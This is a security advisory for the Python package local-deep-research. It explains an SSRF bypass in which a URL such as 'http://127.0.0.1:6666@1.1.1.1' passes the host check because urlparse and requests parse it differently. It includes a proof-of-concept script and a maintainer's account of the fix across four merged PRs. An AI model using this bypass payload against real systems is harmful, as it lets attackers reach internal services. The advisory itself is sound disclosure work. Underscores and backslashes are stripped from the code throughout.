PT-2026-59265 · Pypi · Local-Deep-Research
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.0
Medium
| Vector | AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N |
Summary
The URL checking logic in local-deep-research has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.
Details
The current project uses
validate url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.However, there are indeed differences in parsing between urlparse and the library that actually sends the request. For example, in
safe get, validate url is first used to perform an SSRF check, and then requests.get is used to send the actual request.The core issue: urlparse() and requests disagree on which host a URL like
http://127.0.0.1:6666@1.1.1.1 points to:- urlparse() treats as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as
1.1.1.1(public) - requests treats as a path character, connecting to
127.0.0.1(internal)
Below is a test code I wrote following the code.
#!/usr/bin/env python3
"""Standalone demo: import project via absolute path and call safe get."""
from future import annotations
import importlib.util
import enum
import sys
import types
from pathlib import Path
# Hardcoded absolute path to the project's "src" directory.
SRC ROOT = Path(
r"d:BaiduNetdiskDownloadlocal-deep-research-mainlocal-deep-research-mainsrc"
)
# Python 3.10 compatibility:
# project constants import StrEnum (available in Python 3.11+).
if not hasattr(enum, "StrEnum"):
class CompatStrEnum(str, enum.Enum):
pass
enum.StrEnum = CompatStrEnum # type: ignore[attr-defined]
def load safe get():
"""Load safe get directly from file, bypassing package init imports."""
ldr pkg name = "local deep research"
security pkg name = "local deep research.security"
# Build lightweight package modules so relative imports in safe requests.py
# resolve without executing package init .py files.
if ldr pkg name not in sys.modules:
ldr pkg = types.ModuleType(ldr pkg name)
ldr pkg. path = [str(SRC ROOT / "local deep research")] # type: ignore[attr-defined]
sys.modules[ldr pkg name] = ldr pkg
if security pkg name not in sys.modules:
security pkg = types.ModuleType(security pkg name)
security pkg. path = [str(SRC ROOT / "local deep research" / "security")] # type: ignore[attr-defined]
sys.modules[security pkg name] = security pkg
module name = "local deep research.security.safe requests"
module path = SRC ROOT / "local deep research" / "security" / "safe requests.py"
spec = importlib.util.spec from file location(module name, module path)
if spec is None or spec.loader is None:
raise ImportError(f"Cannot load module from {module path}")
module = importlib.util.module from spec(spec)
sys.modules[module name] = module
spec.loader.exec module(module)
return module.safe get
safe get = load safe get()
def main() -> None:
# Hardcoded URL for demonstration.
url = "http://127.0.0.1:6666"
# url = "http://127.0.0.1:6666@1.1.1.1"
safe get(url, timeout=15)
if name == " main ":
main()When an attacker uses
http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.However, when an attacker uses
http://127.0.0.1:6666@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666, bypassing the detection and achieving an SSRF attack.PoC
http://127.0.0.1:6666@1.1.1.1Impact
SSRF
Maintainer note (2026-05-15)
Thanks @Fushuling and @RacerZ-fighting for the detailed report. The remediation
spans four PRs, all merged to
main and shipped in v1.6.10:#3873 (merged 2026-05-08) — the load-bearing fix for the parser-differential
bypass:
- New
RFC FORBIDDEN URL CHARS REinsecurity/ssrf validator.pyrejects URLs containing backslash, ASCII control bytes, or whitespace — RFC 3986 forbids these and their presence signals a parser-differential attempt. - Host extraction switched from
urllib.parse.urlparse(url).hostnametourllib3.util.parse url(url).host.urllib3is the parserrequestsuses internally, so the validator and the HTTP client now agree on the destination by construction — closing the@divergence that drove the PoC. - Same two-layer defence applied to
NotificationURLValidator.validate service url. - 53 new tests across
test ssrf validator.py,test notification validator.py,test safe requests.py, andtest ssrf redirect bypass.py, including the advisory PoChttp://127.0.0.1:6666@1.1.1.1and the post-prepare canonical formhttp://127.0.0.1:6666/%5C@1.1.1.1.
#3882 (merged 2026-05-08) — hardens the metadata-IP block and redacts
userinfo from log output so rejected URLs don't leak credentials to logs.
#3889 (merged 2026-05-09) — locks in real-world URL fixtures and behavior
invariants from #3873/#3882 as regression tests.
#3932 (merged 2026-05-10) — blocks IPv6 transition prefixes (
2002::/16
6to4, 64:ff9b::/96 NAT64, 2001::/32 Teredo, 100::/64 discard) so private
IPv4 destinations cannot be reached via an IPv6-wrapped form. NAT64 has an
operator opt-in (LDR SECURITY ALLOW NAT64=true) for IPv6-only deployments,
but cloud metadata IPs remain blocked regardless.Affected versions
- The specific parser-differential bypass described above exists from
v1.3.0 (when
validate urlwas first introduced) through v1.6.9. The validator usedurlparse(url).hostnamefor that entire span. - Versions before v1.3.0 had no SSRF validator at all — requests went
directly to
requests.get()without any host check. Those versions are vulnerable to SSRF via this URL and any other internal address; the parser-differential trick is unnecessary.
In both cases the remediation is the same: upgrade to v1.6.10 or later.
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Local-Deep-Research